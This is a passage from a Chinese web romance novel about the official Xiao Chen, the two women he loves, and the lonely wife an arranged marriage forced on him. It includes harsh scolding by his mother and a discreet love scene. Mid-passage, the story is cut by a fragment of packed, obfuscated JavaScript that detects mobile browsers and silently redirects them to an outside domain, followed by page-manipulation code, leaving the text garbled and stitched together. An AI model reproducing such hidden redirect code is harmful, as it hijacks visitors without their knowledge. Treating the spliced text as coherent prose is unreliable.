“小姐,人心都是能慢慢捂热的啊!”小红急忙劝道,“只要您多花点心思,让姑爷看到您的好,他总有一天会回心转意的!您要是一直这么消沉下去,才真的要孤独一辈子了!您可是相府千金,不能就这么认输啊!” 高小姐沉默了,低头看着自己的手,心里满是矛盾。她既不想违背自己的心意去“争宠”,又怕真的像小红说的那样,一辈子都活在冷清和孤独里。窗外的阳光透过窗棂洒进来,却照不进她此刻迷茫的心底,她不知道,自己到底该何去何从。 79.为什么这么好的人不属于自己 高小姐在房里犹豫了许久,最终还是让小红去请肖晨。等肖晨走进房间时,她正坐在桌前,手指紧张地绞着衣角,连抬头看他的勇气都没有。 肖晨站在离她几步远的地方,语气平淡:“高小姐找我,有什么事吗?” 高小姐这才缓缓抬头,眼神带着几分怯意,轻声说:“肖大人,你……你叫我清辞就好,这是我的名字。” 肖晨愣了愣,随即点了点头,也不见外:“那你也不用一直叫我‘大人’,叫我肖晨就行。” “万万不可!”高小姐连忙摆手,语气带着几分慌乱,“哪有妻子直呼丈夫名字的道理?这不符合规矩,传出去会让人笑话的。我还是叫你‘大人’,这样才妥当。” 肖晨见她坚持,也没再多说,只是静静看着她,等着她开口说事。 高小姐深吸一口气,指尖攥得更紧了些,声音带着几分委屈与无奈:“大人,我知道你心里只有傲雪姐姐和丁香姐姐,我从来没想着要跟她们争什么。只是……只是我爹的脾气你也知道,他也是为了我好,我实在不敢违抗他的意思。我也怕……怕爹真的对你动怒,要是你出了什么事,我往后在这世上,就真的没什么依靠了。” 她说着,眼圈微微泛红,却强忍着没让眼泪掉下来。 肖晨看着她这副模样,心里泛起一丝复杂的情绪,却还是如实说道:“清辞,我知道你委屈。但我必须跟你说清楚——我不爱你,这辈子也不可能爱上你。所以我不能碰你,那对你不公平,也是对傲雪和丁香的背叛。” 高小姐的身子轻轻晃了晃,眼底的光亮瞬间暗了下去,却还是咬着唇,声音带着几分恳求:“我知道……我都知道。我不求你爱我,也不求你碰我,我只求你……求你不要一直这么冷落我。哪怕只是偶尔来我房里坐一坐,陪我说几句话,让外人知道我们夫妻和睦,不让我爹再为我担心,也不让府里的人看我的笑话,我就知足了。” 她说完,低下头,肩膀微微颤抖,显然是鼓足了很大的勇气才说出这番话。肖晨看着她这副无助的模样,心里的愧疚又深了几分——这场婚事,她也是受害者,却要承受这么多的委屈。他沉默了片刻,终究还是轻轻点了点头:“好,我答应你。往后我会偶尔过来陪你坐坐,不会让你在府里太难堪。” 听到这话,高小姐猛地抬头,眼里闪过一丝惊喜,连忙对着肖晨屈膝行礼:“多谢大人……” 肖晨看着她,轻轻叹了口气,没再多说什么,转身离开了房间。他知道,这只是权宜之计,却也是目前唯一能让彼此都好过一点的办法——至少,能暂时缓和与高丞相的矛盾,也能让高清辞少受些委屈。只是他心里清楚,这份“和睦”终究是装出来的,他能给高清辞的,永远只有愧疚,没有爱。 肖晨刚走,小红就推门进来,看着高清辞的模样,满是不解:“小姐,您怎么对他放这么低的态度啊?您可是相府千金,主动求他别冷落您,传出去多没面子!” 高清辞轻轻摇了摇头,眼底带着一丝疲惫,却很坚定:“我只想在肖府好好过日子,不想跟谁争,也不想闹得鸡飞狗跳。只要他能偶尔来坐坐,让外人挑不出错,不让爹担心,我就满足了。” 小红还想再说什么,却见门外传来脚步声,管家恭敬地通报:“老夫人来了。” 高清辞连忙起身迎接,肖母走进来,脸上带着几分担忧,拉着她的手就说:“高小姐啊,今天你爹来府里的事,我也听说了。晨儿那孩子性子倔,不懂事,你可千万别怪他,别往心里去。” 高清辞连忙回握肖母的手,语气温和:“娘您放心,我知道肖大人也是身不由己,我不会怪罪他的。” 肖母见她通情达理,悬着的心顿时放了下来,拍了拍她的手背:“你是个好孩子,明事理。放心,今晚我就让晨儿过来陪你,好好跟你说说话,别让你一个人冷清。” 说完,肖母又叮嘱了几句,才转身离开,径直去了大厅,让人把李傲雪和丁香叫了过来。 李傲雪先到,肖母拉着她的手,语气亲昵:“傲雪啊,你爹刚出门做生意,这晚上我一个人睡怪孤单的,你今晚陪我一起睡,跟我聊聊天好不好?” 李傲雪知道肖母的心思,却也没戳破,温顺地点头:“娘,您放心,我今晚就陪着您。” 这时丁香也走了进来,刚躬身行礼,肖母的脸色瞬间沉了下来,语气带着毫不掩饰的鄙夷:“贱蹄子!如今高小姐过了门,你可得安分点!别以为会点床上功夫,就能一直迷惑我儿子!” 她眼神锐利地扫过丁香,字字刻薄:“往后在府里,傲雪是头一位,高小姐是第二位,轮不到你一个从花船上来的东西放肆!别以为有了个妾位,就想跟高小姐比,也不看看自己是什么货色,配吗?” 丁香的脸瞬间变得惨白,头垂得更低,指尖紧紧攥着衣角,连反驳的勇气都没有,只能咬着唇,强忍着眼眶里的泪水。 李傲雪看着丁香委屈的模样,想替她辩解,却被肖母狠狠瞪了一眼:“傲雪,你别替她说话!这府里的规矩不能乱,她是什么身份,就得守什么本分!” 李傲雪只能把话咽了回去,悄悄给丁香递了个安抚的眼神。肖母又对着丁香训了几句,见她不敢吭声,才满意地挥挥手:“行了,该说的我都说了,你自己心里有数!别再让我看见你缠着晨儿,不然有你好果子吃!” 丁香低声应了句“是”,才低着头,几乎是逃一般地离开了大厅。看着她落寞的背影,李傲雪心里满是心疼,却也无可奈何——肖母对丁香的偏见根深蒂固,想要改变,难如登天。 肖母顺着回廊走到花园,见肖晨正站在牡丹花丛前,手里捏着一片花瓣,神色有些恍惚。她走上前,开门见山地说:“晨儿,你如今娶了高小姐,却天天冷落她,你以为高丞相会就这么算了?他要是真动了怒,咱们肖家谁都扛不住!” 肖晨收回目光,语气带着几分无奈:“娘,我不喜欢她,强行凑在一起,对她也是委屈。” “委屈也得忍着!”肖母拉着他的胳膊,语气急切,“你就算再不喜欢,也得做做样子!今晚你必须去高小姐房里陪陪她,哪怕只是坐一坐、说说话,让外人挑不出错,也让高丞相消消气。” 她看着肖晨,眼神里满是担忧:“我就你这么一个儿子,别的我都不管,我只求你平平安安的,别因为两个女人把自己搭进去!你就听娘这一次,行不行?” 肖晨看着母亲鬓边的白发,心里一阵酸涩。他知道母亲是为了他好,也明白高丞相的威胁绝非空话。沉默片刻,他终究还是轻轻点了点头:“好,我知道了,今晚我会去她房里。” 肖母这才松了口气,拍了拍他的手:“这才对嘛,你放心,娘不会让你受委屈的。”说罢,便转身回了内院。 肖晨刚要转身,就见玉溪匆匆跑过来,脸上带着几分急色:“公子,刚才在大厅,老夫人又当着少夫人的面骂丁香姑娘了,骂得可难听了,说姑娘是……是靠床上功夫迷惑您,还说姑娘配不上您……” 肖晨的脸色瞬间沉了下来,二话不说,转身就往丁香的院子走去。推开门时,见丁香正坐在窗边,手里拿着针线,却半天没绣一针,眼眶通红,显然是刚哭过。 听到动静,丁香抬头,看到是他,连忙擦了擦眼睛,强装笑脸:“公子,你怎么来了?不是说……晚上要去高小姐房里吗?” 肖晨走到她身边,蹲下身,握住她的手,声音带着心疼:“娘又让你伤心了,是不是?” 丁香的眼泪瞬间掉了下来,声音带着哽咽:“公子,我是不是真的很下贱?是不是真的像娘说的那样,只能靠床上功夫迷惑你?我……我是不是不该留在你身边,给你添麻烦?” “胡说什么!”肖晨连忙打断她,伸手将她揽进怀里,低头吻去她脸颊的泪水,语气坚定又温柔,“才不是呢!能留住我的,从来不是那些,是你的心,是你的爱。你善良、懂事,总为我着想,这些才是我最在意的。” 他捧着她的脸,眼神认真:“若是我贪恋美色,当初在花船时就不会只赎你一人,这些年也早该妻妾成群了,又怎么会顶着抗旨的风险,拒绝陛下的赐婚?丁香,在我心里,你和傲雪一样珍贵,别再听娘那些伤人的话,也别再贬低自己,好不好?” 丁香靠在他怀里,眼泪流得更凶,却轻轻点了点头。她知道肖晨说的是真的,可肖母的话像根刺,总在不经意间扎得她生疼。但只要肖晨还爱着她、护着她,就算受再多委屈,她也愿意留在他身边。 肖晨拇指轻轻蹭过丁香的眼角,将最后一滴未干的泪拭去,指腹触到她泛红的眼尾,温软又带着点烫意。他低头,鼻尖蹭了蹭她的额头,声音轻得像怕惊散了什么:“傻姑娘,你的眼泪这么宝贵,怎么能为不值得的话掉呢?” 丁香睫毛颤了颤,望着他眼底毫不掩饰的疼惜,心里的委屈像被温水化开,渐渐散了。她抬手勾住他的脖颈,微微仰头,柔软的唇轻轻贴上他的,带着未褪尽的哽咽,却格外认真:“我舍不得公子……舍不得你为我为难,也舍不得你跟别人好。” 肖晨的心被这一声“舍不得”揪得发软,反手环住她的腰,将她更紧地搂在怀里,加深了这个吻。唇齿相依间,他含糊地应着:“我也舍不得你,从来都舍不得。”他指尖轻轻抚过她的后背,声音沉而坚定,“放心,就算今晚去了她房里,我也绝不会碰她——我的人,我的心,都只给你和傲雪。” 这个吻渐渐染上灼热的温度,肖晨打横抱起丁香,脚步轻缓地走到床边,将她小心地放在柔软的锦被上。他俯身覆上她,指尖轻轻划过她的眉眼、脸颊,最后落在她的衣襟上,动作温柔得像在呵护易碎的珍宝。每一次触碰都带着安抚的意味,像是要把她方才受的委屈,都用这温柔一点点抚平。 丁香闭上眼,感受着他掌心的温度,紧绷的身体渐渐放松。她抬手抱住他的肩,指尖轻轻攥着他的衣料,用热烈的回应诉说着自己的心意——她将脸埋在他的颈间,细碎的轻吟混着呼吸,落在他的皮肤上,带着依赖与爱恋。“公子……我好爱你。”她的声音带着点颤,却格外清晰。 肖晨吻着她的发顶,动作愈发温柔,在她耳边低低回应:“我也是一样,爱你,也爱傲雪,这辈子都不会变。”锦被滑落,帐幔轻晃,房间里只剩下彼此交缠的呼吸与心跳。他用最温柔的方式,将自己的心意刻进她的感知里,每一个动作都带着珍视,仿佛要让她清清楚楚知道,她在他心里,从来都不是什么“下贱蹄子”,而是值得用一生去呵护的爱人。 不知过了多久,两人终于停下。肖晨将她搂在怀里,让她靠在自己的胸膛上,指尖轻轻梳理着她凌乱的发丝。丁香听着他沉稳的心跳,眼皮渐渐沉重,没多久就睡着了,嘴角还带着浅浅的笑意。肖晨低头看着她熟睡的模样,眼底满是温柔,轻轻在她额间印下一个吻,也闭上眼,陪着她静静睡去。 窗外的夕阳渐渐落下,暮色漫进房间,将两人交叠的身影染成暖融融的一片。这一刻,没有高小姐的委屈,没有肖母的刁难,也没有高丞相的威胁,只有属于他们两人的安稳与缱绻——哪怕这份安稳只是暂时的,肖晨也想牢牢抓住,给她多一点温暖,多一点底气。 天渐渐擦黑,肖母在自己房里左等右等,都没见肖晨出来,心里正犯嘀咕,就见丫鬟匆匆来报,说肖大人还在丁香姑娘的房里没出来。 肖母顿时来了火气,也顾不上体面,径直往丁香的院子走,到了房门口,没等通报就一把推开房门——只见床上的锦被还拢着,肖晨和丁香正靠在一起,显然还没起身。 “贱蹄子!你就这么不安分!”肖母指着丁香,声音又尖又利,“都什么时候了,还缠着晨儿不放,你是想毁了他才甘心吗?” 丁香被这突如其来的呵斥吓了一跳,连忙往肖晨怀里缩了缩。肖晨皱紧眉头,将她护在身后,抬头看向肖母,语气带着明显的不悦:“娘,您别管了。丁香是我的妻子,我和她在一起,有什么不对?” “你!”肖母被他这话气得发抖,指着他的鼻子,“你就是被这贱蹄子给迷住了!分不清轻重!高丞相还在气头上,你要是今晚不去陪高小姐,咱们肖家都要跟着你遭殃!” 肖晨伸手揽过丁香,低头在她发顶轻轻吻了一下,眼神坚定地看向肖母:“她是我的女人,只能我疼着护着。您要是不喜欢她,大可以不来这院子,但我们夫妻,不欢迎您这样不分青红皂白地骂她。” “你……你真是要气死我!”肖母看着儿子护着丁香的模样,又急又气,却也知道再逼下去,肖晨只会更抵触。她深吸一口气,咬牙道:“行!她的事我可以不管,但今晚你必须去高小姐房里!这是底线,你要是不答应,就别怪我不认你这个儿子!” 肖晨看着母亲通红的眼眶,心里也泛起一丝无奈。他知道母亲是怕他出事,也知道高丞相那边不能一直僵着。沉默片刻,他轻轻拍了拍丁香的手,示意她别担心,才对肖母说:“好,我答应你,今晚去她房里。但娘,我希望您以后别再这么对丁香了。” 肖母见他松口,也不再多纠缠,狠狠瞪了丁香一眼,转身摔门而去。房间里重新安静下来,丁香抬头看着肖晨,眼神里满是担忧:“公子,你……你真的要去吗?” 肖晨握紧她的手,语气温柔却坚定:“只是去坐坐,说几句话,不会有事的。等安抚好高小姐,我就回来陪你。” 丁香看着他,眼神里满是不舍,却还是轻声说:“公子,你去了那边,可别惹高小姐生气,她刚嫁过来,心里也委屈。” 肖晨俯身吻了吻她的额头,指尖轻轻刮过她的脸颊,语气温柔:“咱们不提她,再陪我躺会儿,就一小会儿。” 丁香点点头,重新窝进他怀里,手臂紧紧环着他的腰,声音带着满足的轻颤:“公子,只要有你在我身边,我就觉得这辈子的福气都享尽了,好幸福。” 肖晨抚摸着她的长发,掌心传来发丝的柔滑触感,心里满是暖意:“我也是一样,有你和傲雪在,我才觉得日子有盼头。” 两人又相拥着躺了许久,直到窗外的天色彻底暗透,肖晨才缓缓起身。丁香也跟着坐起来,伸手拿起一旁的外衣,小心翼翼地帮他穿上,指尖偶尔碰到他的肌肤,都带着不舍的轻颤。 穿好衣服,丁香又上前抱住他,脸贴在他的后背,声音带着哽咽:“我真的舍不得公子走……” 肖晨转过身,轻轻拍了拍她的背,语气带着承诺:“我也舍不得你。等明天,我推掉所有事,好好陪你一天,咱们去院子里赏花,好不好?” 丁香听到这话,眼里才泛起一丝光亮,轻轻点了点头,松开手,看着他一步步走出房门,直到身影消失在拐角,才缓缓收回目光。 肖晨径直走向高小姐的院子,刚进门就见肖母派来的丫鬟正端着饭菜往屋里送。他走进房内,高清辞连忙起身相迎,脸上带着几分拘谨。 “坐吧,一起吃饭。”肖晨率先走到桌边坐下,语气平和。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301286|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 高清辞依言坐下,两人安静地吃着饭,偶尔有碗筷碰撞的轻响。吃到一半,肖晨才开口打破沉默:“清辞,往后在府里,要是有什么不习惯的地方,或者需要帮忙的,直接告诉我就好,不用客气。” 高清辞手里的筷子顿了顿,抬头看向他,眼里闪过一丝惊喜,连忙轻声回应:“谢谢大人的关心,我……我没什么不习惯的,府里的人都待我很好。” 吃完饭,丫鬟进来收拾了碗筷,又端来温水帮高清辞卸妆,换了一身素雅的睡衣,便识趣地退了出去,轻轻关上了房门。 房间里只剩下两人,高清辞犹豫了一下,还是上前帮肖晨宽衣解带,指尖碰到他的衣襟时,指尖微微发颤——她知道接下来该发生什么,也做好了准备。 宽完衣,高清辞便转身躺进被窝里,身体微微紧绷,等着他的靠近。肖晨也走到床边,掀开被子躺了进去,两人之间隔着一拳的距离,气氛有些微妙。 高清辞咬了咬唇,刚想开口说些什么,就听到肖晨的声音传来,带着几分疲惫却格外清晰:“时间不早了,早点休息吧。”说完,便侧过身,背对着她,很快就传来平稳的呼吸声,显然是真的睡了。 高清辞僵在原地,心里泛起一丝失落,却也悄悄松了口气。她看着肖晨的背影,轻轻叹了口气,也闭上眼——至少,他没有刻意冷落她,或许这样,日子就能慢慢好起来。 天刚蒙蒙亮,窗外的晨光透过窗纱,在被褥上洒下一层淡淡的金辉。高清辞早早就醒了,侧躺着身子,目光落在身旁肖晨的脸上,连呼吸都放得极轻,生怕惊扰了他。 这是她第一次这么近距离看他——他的睫毛很长,垂落时在眼下投出浅浅的阴影,鼻梁挺直,唇形好看,哪怕睡着时,眉宇间也带着几分清正的英气。高清辞看着看着,心里忽然泛起一丝恍惚:原来他生得这么帅气,明明和自己一样才十七岁,还没真正成年,却已是吏部主事,手握实权,做事沉稳得不像个少年人。 她又想起府里下人闲聊时说的话——肖家是京城首富,肖晨更是独子,可他身上没有半点纨绔子弟的骄纵。不沉迷声色,不挥霍无度,平日里除了上朝理事,就是待在府里陪李傲雪和丁香,连应酬都很少去。上次府里宴客,有官员想送歌姬给他,他当场就婉拒了,说“家有妻室,不敢辜负”,语气认真得让人没法质疑。 这些日子,她看在眼里,记在心里。他对李傲雪的敬重与温柔,对丁香的呵护与偏爱,从不是装出来的——李傲雪身子弱,他会亲自盯着厨房炖补汤;丁香受了委屈,他会第一时间护在她身前,哪怕对方是肖母。那样的在意,那样的珍视,是她从未得到过的。 高清辞轻轻攥紧了被褥,心里泛起一阵复杂的滋味。她听说李傲雪比肖晨还大三岁,可肖晨待她,从来都是毕恭毕敬,把她护得好好的;丁香出身花船,身份低微,肖晨却从不嫌弃,反而处处维护。为什么这样才貌双全、重情重义的人,偏偏不属于自己呢? 她甚至忍不住胡思乱想:难道他喜欢年纪大些、更沉稳的女子?所以才对长他三岁的李傲雪格外敬重?还是说,他偏爱丁香那样温柔妩媚、会撒娇示弱的性子?自己性子太淡,既没有李傲雪的温婉大气,也没有丁香的柔媚灵动,所以才入不了他的眼? 晨光渐渐亮了些,肖晨的眼睫轻轻颤了颤,似乎快要醒了。高清辞连忙收回目光,假装还在睡着,心里却像被什么东西堵着,又酸又涩。她知道自己不该贪心,能留在他身边,有个名分,已经是很多人求不来的福气,可看着他对别人那样好,还是忍不住羡慕——羡慕李傲雪能得到他的敬重与陪伴,羡慕丁香能得到他的偏爱与呵护,更羡慕她们能占据他的整颗心,而自己,只能远远看着,连靠近的资格都没有。 肖晨醒来时,见高清辞还闭着眼,呼吸平稳,便轻手轻脚起身,没去惊动她。刚拉开房门,守在外面的丫鬟就连忙上前,恭敬地伺候他洗漱更衣。 等他收拾妥当,高清辞也醒了,丫鬟进来帮她梳妆打扮——她选了一身浅粉色衣裙,只簪了一支素银簪子,衬得眉眼愈发清秀。收拾好后,她走到外间,见肖晨正坐在桌边看公文,便轻声说了句:“大人。” 肖晨抬头,放下手里的公文,语气平和:“醒了?先坐下吧,早饭应该快好了。” 两人一起吃完早饭,肖晨才开口道:“一会我要去书房处理点事,你要是在房里闷得慌,就去府里的花园走走,或者让丫鬟陪着去库房挑些喜欢的礼品——明天我陪你回高府看看,总不能空着手回去。” 高清辞听到“陪你回高府”,眼里瞬间亮了亮,连忙点头:“多谢大人,我……我自己去库房看看就好,不麻烦丫鬟了。”她没想到肖晨会主动提陪她回门,心里又惊又喜,连之前的失落都淡了几分。 肖晨见她神色松动,轻轻颔首:“也好,你自己挑着顺心。要是有看中的,让管家记下来就行。”说罢,便拿起公文,往书房走去。 看着他的背影,高清辞站在原地,嘴角忍不住微微上扬——或许,他们之间的关系,真的能慢慢变好。她深吸一口气,转身让丫鬟带路,往库房走去,心里悄悄盘算着,该挑些什么礼品,既能让父母满意,也能不让肖晨失了体面。 肖晨在书房读了半个时辰的书,待心绪彻底平静下来,便径直去了客厅——李傲雪和丁香早已等着他,桌上摆着几样他爱吃的小菜。 他坐下后,先看向李傲雪,语气带着关切:“昨晚你陪着娘,没受委屈吧?娘有没有为难你?” 李傲雪轻轻摇头,夹了一筷子青菜放进他碗里:“少爷放心,娘只是跟我聊了些家常,没说别的,我陪着她睡得很好。” 一旁的丁香也跟着开口,眼神带着几分好奇:“公子,怎么没让高小姐一起来吃饭呀?她一个人在房里,会不会孤单?” 肖晨夹菜的手顿了顿,语气带着几分坦诚:“让她来,我反倒不知道该跟她说什么,怕两人都不自在。今天我只想好好陪你们,别让旁人扰了兴致。” 他放下筷子,看向两人,眼里带着笑意:“吃完饭,咱们去花园里赏花吧?我看昨天那几株牡丹开得正好,咱们还能在亭子里喝喝茶。” 李傲雪和丁香对视一眼,都从对方眼里看到了欢喜,连忙点头应下。 饭后,肖晨带着两人往花园走。他一手牵着李傲雪,一手牵着丁香,偶尔弯腰帮她们拂去落在发间的花瓣,语气里满是温柔。三人说说笑笑,身影在花丛间穿梭,画面格外温馨。 这一幕恰好被来花园采花的小红看到。她心里一急,连忙放下手里的花篮,快步跑回高清辞的院子,推门就说:“小姐!不好了!姑爷正带着李傲雪和丁香在花园里散步呢,还手牵着手,笑得可开心了,根本没想起您!” 高清辞正坐在窗边挑选回门的礼品,听到这话,手里的玉佩“啪嗒”一声掉在桌上。她抬头看向小红,眼底闪过一丝失落,却还是强装平静:“知道了,他们……他们难得清闲,一起散步也正常。” “正常?”小红急得跺脚,“小姐,您就是太好说话了!姑爷心里根本没有您,天天就想着那两个女人,您要是再不争点气,往后日子可怎么过啊!” 高清辞沉默着捡起桌上的玉佩,指尖轻轻摩挲着冰凉的玉面,心里像被什么东西堵住,连呼吸都变得沉重起来。她知道小红是为她好,可她实在不知道,自己该怎么去“争”——肖晨的心就像一块捂不热的石头,她再努力,也走不进他心里。 80.捆绑的婚姻,让她苦不堪言 高清辞捏着那块玉佩,指尖的凉意透过玉面传到心里,让她忍不住轻轻叹了口气:“争又能怎么样呢?他心里没有我,就算我把他强留在身边,也换不来真心,反倒落得个刻薄善妒的名声,让爹和肖府都难堪。” 小红还想再劝,却见高清辞摆了摆手,语气带着几分疲惫:“好了,别说了。我选完这些礼品,还要想想明天回门该跟爹娘说些什么,别让他们看出破绽。” 小红看着她强撑的模样,心里又急又气,却也知道多说无益,只能闷闷地退到一旁,帮着整理桌上的礼品。 而花园里,肖晨正陪着李傲雪和丁香在牡丹亭里喝茶。李傲雪亲手泡了雨前龙井,倒在白瓷杯里,茶香袅袅。丁香则从袖袋里掏出一块绣好的帕子,递到肖晨面前,脸颊微红:“公子,这是我前几天绣的,上面的鸳鸯……你看看喜欢吗?” 肖晨接过帕子,指尖抚过细密的针脚,眼里满是笑意:“绣得真好,比上次傲雪绣的兰花还要精致。我会好好收着,天天带在身上。” 丁香听到这话,笑得眼睛都弯了,李傲雪也在一旁笑着说:“丁香的手越来越巧了,往后府里的绣活,怕是都要被你包了。” 三人说说笑笑,直到日头偏西,肖晨才想起高清辞还在房里,心里泛起一丝愧疚,对两人说:“我得去看看清辞,明天要回门,不知道她礼品选得怎么样了。你们先回房歇着,晚些时候我再找你们。” 李傲雪和丁香都懂事地点点头,看着他往高清辞的院子走去。 肖晨刚走到院门口,就见高清辞正坐在廊下,手里拿着一块玉佩发呆。他走上前,轻声开口:“在想什么?这么入神。” 高清辞猛地回神,看到是他,连忙起身:“大人。我……我在看明天回门的礼品,不知道选这块玉佩给我娘,她会不会喜欢。” 肖晨拿起玉佩看了看,玉质温润,雕工精致,点头道:“这块玉佩很好,娘肯定会喜欢。除了这个,还有没有看中别的?要是不够,我再让管家去库房挑些好的。” “够了够了,”高清辞连忙摆手,“我已经选了不少,再多点反而显得刻意。” 两人站在廊下,一时无话,气氛有些尴尬。肖晨看着她眼底的落寞,心里的愧疚更甚,轻声说:“今天……没陪你,抱歉。” 高清辞愣了愣,随即轻轻摇头:“大人不用道歉,您陪着傲雪姐姐和丁香姐姐,是应该的。我一个人也没什么,看看礼品,时间过得也快。” 她越是懂事,肖晨心里越不是滋味。沉默片刻,他说:“明天回门,我会好好跟岳父岳母说,不让他们担心你。往后在府里,要是有什么事,也别总自己扛着,告诉我就好。” 高清辞抬头看向他,眼里闪过一丝微光,轻轻“嗯”了一声。她知道肖晨的关心更多是出于责任,可哪怕只是这样,也让她心里稍微暖了些——或许,这样相敬如宾地过下去,也不是不行。 肖晨看着高清辞,又补充了一句:“明天回门,体面些好。你要是觉得府里的首饰不够称心意,就去外面的银楼挑几样,账单记在我名下就好。” 高清辞眼底泛起一丝暖意,轻声道:“多谢大人的好意,我知道了。” 肖晨点点头,转身叫来阿成,吩咐道:“备一顶轿子,送高小姐出去逛逛,再让小红跟着,路上好好照顾小姐,别出什么岔子。” 阿成连忙应下,转身去安排。肖晨没再多留,径直往李傲雪的院子走去。 刚进门,就见李傲雪正坐在窗边绣着帕子,见他进来,便放下针线迎上前:“少爷怎么回来了?不陪着高小姐准备回门的事了?” 肖晨拉着她在桌边坐下,语气带着几分无奈:“她忙着挑礼品、选首饰,我在旁边反倒多余。我能做的,也只有尊重她的想法,给她些方便,可我给不了她想要的爱和陪伴——这些东西,我只能给你和丁香。” 他顿了顿,眼神愈发坚定:“这场婚姻从一开始就是错的,是陛下和高丞相硬凑的。我要是因为愧疚,故意对她好,给她不该有的希望,往后她只会更难过。倒不如一开始就把话说透,让她断了念想,至少不会陷得更深。” 李傲雪握住他的手,指尖轻轻摩挲着他的掌心,柔声说:“我知道少爷的心思,也明白你不想委屈任何人。只是……高小姐毕竟是明媒正娶的夫人,你这样与她保持距离,怕是往后还会有麻烦。” “麻烦总会有的。”肖晨叹了口气,却反手握紧了她的手,“可我不能为了应付麻烦,就辜负你和丁香。你们陪着我从落魄到如今,我答应过要护你们一辈子,就绝不会食言。只要你们不难过,再大的麻烦,我都能扛过去。” 李傲雪看着他眼底的认真,心里满是感动,轻轻靠在他肩上:“有少爷这句话,我就什么都不怕了。往后不管出什么事,我和丁香都会陪着你。” 肖晨搂着她,鼻尖蹭过她的发顶,心里满是安稳。 轿子停在京城最有名的“金玉轩”门口,高清辞扶着小红的手走进店里。掌柜见她衣着华贵,连忙笑着迎上来:“夫人里边请,刚到了几样新采的翡翠,您瞧瞧?” 高清辞走到柜台前,目光落在一串翡翠珠链上——珠子圆润通透,泛着莹润的绿光,衬得她肤色愈发白皙。她又挑了一支玛瑙发簪,红玛瑙色泽明艳,雕成海棠花的模样,精致又大方。掌柜在一旁奉承:“夫人好眼光,这几样都是上等货,配您再合适不过。” 小红看着她拿起首饰比划,却忍不住撇撇嘴:“小姐,您这新婚回门多重要的事,姑爷居然都不陪您来,让您一个人跑一趟,这摆明了就是没把您放在眼里!” 高清辞拿着珠链的手顿了顿,却还是轻声说:“大人在府里也有自己的事要忙,咱们自己选也一样。” “忙?他能有什么忙的?”小红急了,压低声音道,“还不是在府里陪着李傲雪和丁香!小姐,您怎么总替他说话啊?您看看您现在都成什么样了——一进门就独守空房,回门选首饰都得自己来,他对您连一点做丈夫的样子都没有!” 她越说越激动:“现在刚嫁过来就对您这样,以后日子长了,还有什么指望?要是姑爷的心永远在那两位夫人身上,您在这肖府可怎么办?下人们都是看人下菜碟的,见您不受宠,往后指不定怎么怠慢您呢!” 高清辞沉默着将首饰递给掌柜包好,指尖微微发凉。小红的话像针一样扎在她心上,可她还是强撑着平静:“别乱说,下人们都很规矩。再说,日子还长,总会好的。” “好什么好啊!”小红跺了跺脚,“小姐,您就是太软弱了!您要是再这么忍下去,迟早要被她们欺负死!咱们可是相府的人,凭什么在这儿受委屈?” 高清辞没再说话,付了钱拿着首饰,转身往外走。轿子缓缓升起,她看着窗外掠过的街景,手里攥着首饰盒,心里又酸又涩——小红的话她何尝不懂,可她除了忍,又能怎么办呢?她既不想争,也争不过,只能盼着日子能慢慢变好,哪怕这份“好”,只是自己骗自己的安慰。 高清辞提着首饰盒回府,刚走上通往后院的回廊,就远远望见花园方向的身影——肖晨正侧对着她,手里拿着一朵刚摘的芍药,弯腰递到丁香面前,眼里的笑意藏都藏不住;李傲雪站在一旁,手里捧着食盒,正笑着跟两人说着什么,三人的笑声顺着风飘过来,热闹得让她有些晃神。 她下意识地停下脚步,指尖攥紧了首饰盒的锦缎带子,冰凉的触感透过指尖传来。回门的首饰是她自己挑的,轿子是她自己坐的,连该给爹娘准备的伴手礼,也是她一个人在库房里翻了半个时辰定下来的。而他,自始至终都在陪着别人说说笑笑,仿佛她的回门,只是一件无关紧要的小事。 心里像被什么东西堵着,又酸又闷,高清辞深吸一口气,悄悄转身,绕了另一条僻静的回廊回房。可刚到房门口,就见肖母身边的大丫鬟迎上来,恭敬地说:“高小姐,老夫人请您去前厅坐坐。” 高清辞心里咯噔一下,不知道肖母突然找她是何意,只能将首饰盒交给小红,整理了一下衣裙,跟着丫鬟往前厅走。进了厅,她连忙屈膝行礼,声音温和:“娘,您找我来,有什么吩咐吗?” 肖母连忙起身,伸手虚扶了她一把,脸上带着难得的笑意:“快起来坐,哪有什么吩咐,就是想跟你说说话。你刚嫁过来没几天,咱们婆媳俩还没好好聊过呢。” 她拉着高清辞在身边坐下,又让人端来刚泡好的雨前龙井,语气热络:“你爹前儿个去南边做生意了,府里就剩我一个老婆子,夜里连个说话的人都没有。你来了正好,往后咱们多聊聊,熟悉熟悉,往后婆媳相处也能更亲厚些。” 高清辞端着茶杯,指尖微微发颤——她能感觉到肖母的态度比往常温和许多,可这份突如其来的热络,却让她有些不安。她轻声应着:“娘要是不嫌弃,往后我常来陪您说话。” 肖母笑着点头,又拉着她聊起家常,从京城里的新鲜事,说到肖晨小时候的趣事,偶尔还问起她在相府的生活,句句都透着亲近。可只有肖母自己知道,她心里打的是什么主意——早上听说高丞相还在为肖晨冷落女儿的事生气,她生怕高清辞心里委屈,回门时在高丞相面前说些不该说的话,连累肖晨。如今拉着她说话,既是想分散她的注意力,让她少琢磨那些委屈事,也是想卖个好,让她往后在肖晨面前多担待些,别总想着跟李傲雪、丁香争。 高清辞渐渐放松下来,偶尔也会顺着肖母的话,说起自己小时候的事。厅里的气氛渐渐热络起来,可高清辞心里清楚,这份热络终究带着几分刻意——肖母待她好,不过是怕她给肖晨惹麻烦;而她配合着聊天,也不过是想在这肖府里,多寻一份安稳罢了。 聊了约莫半个时辰,肖母见高清辞神色缓和了些,才笑着说:“你刚回府,想必也累了,先回房歇着吧。明天回门要是需要什么,尽管跟我说,别跟我客气。” 高清辞起身行礼,谢过肖母后,转身离开前厅。走到回廊时,她回头望了一眼前厅的方向,轻轻叹了口气——这肖府的日子,果然处处都透着身不由己。 